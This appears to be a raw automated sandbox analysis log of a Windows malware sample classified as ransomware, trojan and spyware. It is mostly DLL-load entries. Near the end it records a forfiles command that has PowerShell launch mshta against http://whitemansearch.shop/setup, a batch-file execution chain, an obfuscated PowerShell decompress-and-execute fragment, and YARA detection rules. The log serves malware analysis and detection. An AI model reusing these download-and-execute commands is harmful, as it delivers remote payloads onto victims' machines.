Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll

Source: amsi64_7488.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7364, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7488, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winLNK@54/56@11/15

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D6B300 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

12_2_00D6B300

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D65200 _wtol,SHGetSpecialFolderPathW,_DebugHeapAllocator,_wtol,_DebugHeapAllocator,CoCreateInstance,

12_2_00D65200

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D69FC0 memcpy,SystemParametersInfoW,GetDC,GetDeviceCaps,MulDiv,ReleaseDC,GetModuleHandleW,FindResourceA,LoadResource,LockResource,DialogBoxIndirectParamW,

12_2_00D69FC0

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ly4xks1y.lmy.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\forfiles.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe start mshta http://whitemansearch.shop/setup
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
